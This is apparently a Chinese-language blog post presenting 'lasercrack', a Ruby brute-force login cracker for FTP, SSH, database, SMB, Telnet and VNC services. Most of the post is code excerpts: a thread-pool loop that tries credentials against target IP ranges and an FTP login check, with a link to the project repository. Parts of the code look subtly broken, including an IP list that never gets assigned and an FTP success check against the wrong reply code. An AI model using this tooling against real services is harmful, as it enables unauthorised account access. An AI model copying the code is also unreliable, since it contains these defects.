0×01 簡單說明
lasercrack是一款爆力破解工具,現如今市面上常見的暴力工具如hydra,medusa都有著不錯的破解效率,不過我還沒有找到ruby寫的,一方面是想從原理上理解下暴力破解漏洞,另一方面練習一下ruby語言。此工具配置成交互式終端界面,服務爆破腳本可自定義。
0×02 工具結構
主目錄中lasercrack.rb控制整體流程,接受用戶參數并作出響應。

utils目錄中framework.rb是框架核心文件,控制與線程池相關,提供了三種方式的爆破,即單用戶單密碼,單用戶多密碼,單密碼多用戶,目前暫不支持的多用戶多密碼。其余文件是服務爆破相關文件,其中分為service.rb和serviceattack.rb。

0×03 源碼說明
初始化函數定義了一些基本變量可以讓用戶自行設置,同時載入所有可用的服務爆破類。
def initialize
@module = "nil"
@ip = "nil"
@port = 0
@username = "nil"
@password = "nil"
@user_file = "nil"
@pass_file = "nil"
@verbose = false
@threads = 10
@timeout = 10
@exploithash = {
"ftp" => FtpAttack.new,
"ssh" => SshAttack.new,
"mysql" => MysqlAttack.new,
"mssql" => MssqlAttack.new,
"smb" => SmbAttack.new,
"redis" => RedisAttack.new,
"mongo" => MongoAttack.new,
"telnet" => TelnetAttack.new,
"oracle" => OracleAttack.new,
"vnc" => VncAttack.new,
}
end
參數校驗函數針對用戶輸入或未輸入的信息進行判斷可以使用哪種爆破模式,對還未達到利用條件的參數拋出未定義。
def checkarg
flag = true
if @user_file == "nil" and @pass_file == "nil"
puts "[*] Exploit by ip/ips..".light_blue
tmphash = {"ip" => @ip, "port" => @port, "username" => @username, "password" => @password}
tmphash.each {|key, value|
if value == "nil" or value == 0
tmpstr = "[-] "+key+" => "+value.to_s+" ".light_red
puts tmpstr.light_red
flag = false
end
}
else
return false
end
return flag
end
爆力破解函數載入線程池并批量對服務進行窮舉嘗試。其中在verbose為false的情況下使用processbar模塊動態顯示進程條信息。
def exploit_ips_template
$semaphore = Mutex.new
$COUNTER = 0
$OFFSET = 0
puts "[*] Starting crack the #{@module}..".light_blue
puts "[*] target ip: "+@ip.light_blue
puts "[*] target port: "+@port.light_blue
@exploithash.each { |key, value|
if key == @module
iplist = checkcidr_iprange if not iplist.nil?
pool = ThreadPool.new(@threads)
exploitips = value
iplist.each { |item|
pool.process {
if exploitips.attack_once(item, @port.to_i, @username, @password, @timeout)
result = "[+] Crack it!"+" "*6+item+" "*6+@username+":"+@password
$OFFSET += 1
$semaphore.lock
puts result.light_green
$semaphore.unlock
else
if @verbose
$semaphore.lock
puts "["+getnow+"]".light_white+" "*6+"Not found! ==> "+item.light_red
$semaphore.unlock
else
$semaphore.lock
progressbar = ProgressBar.create(:format => 'Processing: |%b>>%i| %p%% %t', :starting_at => $COUNTER, :total => iplist.length-$OFFSET-1)
$semaphore.unlock
$COUNTER += 1
sleep 0.05
if progressbar.finished?
puts "finished".light_blue
end
end
end
}
}
gets
end
end
}
end
服務登錄驗證函數對用戶提供的信息進行驗證,返回true或false表明是否可登錄成功。用ftp舉例,其他服務腳本類似,不做贅述。
def hit
begin
ftp = Net::FTP.new
ftp.read_timeout = @timeout
ftp.open_timeout = @timeout
ftp.connect(@ip, @port)
ftp.login(@user, @password)
result = ftp.lastresp
ftp.close
if result == "200"
return true
else
return false
end
rescue
return false
end
end
0×04 樣例測試
測試本地mysql。
由于字典比較小很快就可以出結果。
設置verbose為true,顯示攻擊詳細信息。
0×05 擴展支持服務
如需自己擴充暴力破解服務,需要修改下面幾個地方:
lasercrack.rb中將對應的服務添加到數組和字典中,字典里指定對應的端口信息。
framework.rb中引入對應的attack文件,默認都在utils目錄中編寫。
同時init函數中添加exploithash,show函數中增加顯示。
0×06 項目地址
https://github.com/Lucifer1993/lasercrack
|